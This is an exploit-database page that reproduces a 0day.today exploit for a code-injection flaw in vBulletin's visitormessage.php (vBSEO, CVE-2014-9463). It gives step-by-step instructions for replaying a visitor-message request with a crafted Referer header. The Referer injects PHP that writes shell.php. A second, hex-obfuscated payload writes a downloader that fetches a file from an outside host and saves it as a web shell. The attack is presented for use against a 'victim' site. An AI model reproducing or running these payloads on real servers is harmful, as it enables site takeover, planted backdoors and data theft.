Lucene search
K

vBulletin 4.x.x visitormessage.php Remote Code Injection Vulnerability

🗓️ 02 Mar 2015 00:00:00Reported by Net.Edit0rType 
zdt
 zdt
🔗 0day.today👁 69 Views

vBulletin 4.x.x visitormessage.php Remote Code Injection Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2014-9463
2 Mar 201500:00
circl
CNVD
vBulletin VBSEO 'visitormessage.php' Remote Code Injection Vulnerability
20 Sep 201700:00
cnvd
CVE
CVE-2014-9463
15 Sep 201720:00
cve
Cvelist
CVE-2014-9463
15 Sep 201720:00
cvelist
Dsquare
vBSEO 3.6.0 functions_vbseo_hook.php Referer RCE
1 Oct 201500:00
dsquare
NVD
CVE-2014-9463
15 Sep 201720:29
nvd
Prion
Code injection
15 Sep 201720:29
prion
[+] My Homepage: black-hg.org / nasirpour.info
[+] Discovered By: Dariush Nasirpour (Net.Edit0r)
[+] Greeting : Ali Razmjoo - Ehsan Nezami - Arash Shams - Ramin Shahkar and all my freinds ( #bhg )
-------------------------------------------------------------------------------------------------------------------
1) You Must Register In The vBulletin: http://www.victim.com/register.php example:[blackhat]

2) go to your user profile example: [http://www.victim.com/members/blackhat.html]

3) post something in visitor message and record post data with live http header

[example] : message_backup=&message=For-Test-Sample&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=
1&s=&securitytoken=1425024074-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=1425022046&allow_ajax_qc=1&fromconverse=

4) change message to anything "For-Test-Sample" => "ALEEEEEEEEX"  [because vBulletin don't let you send same comment in a time]

[Now post this with hackbar:]

URL:  http://www.victim.com/visitormessage.php?do=message

[Post data]
message_backup=&message=ALEEEEEEEEX&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=
1&s=&securitytoken=1425024074-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=1425022046&allow_ajax_qc=1&fromconverse=

[And referrer data:] 
PoC : http://www.victim.com/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked")}}]"

[Example referrer data:] 
PoC :http://www.victim.com/members/g3n3rall.html?a=$stylevar%5b$%7b$%7bfile_put_contents(
"downloader.php","\x3C\x3F\x70\x68\x70\x0D\x0A\x24\x68\x6F\x6D\x65\x70\x61\x67\x65\x20\x3D\x20\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73\x28\x27\x68\x74\x74\x70\x3A\x2F\x2F\x70\x61\x69\x65\x6E\x63\x68\x61\x74\x2E\x63\x6F\x6D\x2F\x64\x2F\x64\x72\x2E\x74\x78\x74\x27\x29\x3B\x0D\x0A\x24\x66\x20\x3D\x20\x66\x6F\x70\x65\x6E\x28\x27\x73\x2E\x70\x68\x70\x27\x2C\x27\x77\x27\x29\x3B\x0D\x0A\x66\x77\x72\x69\x74\x65\x28\x24\x66\x2C\x24\x68\x6F\x6D\x65\x70\x61\x67\x65\x29\x3B\x0D\x0A\x3F\x3E")}}]

5) Open hackbar and tamper it with taper data:
referrer data has been URL encoded by browser , you have to replace this again with tamper data: http://www.victim.com/cc/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked")}}]"

and submit request.

#  0day.today [2018-01-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation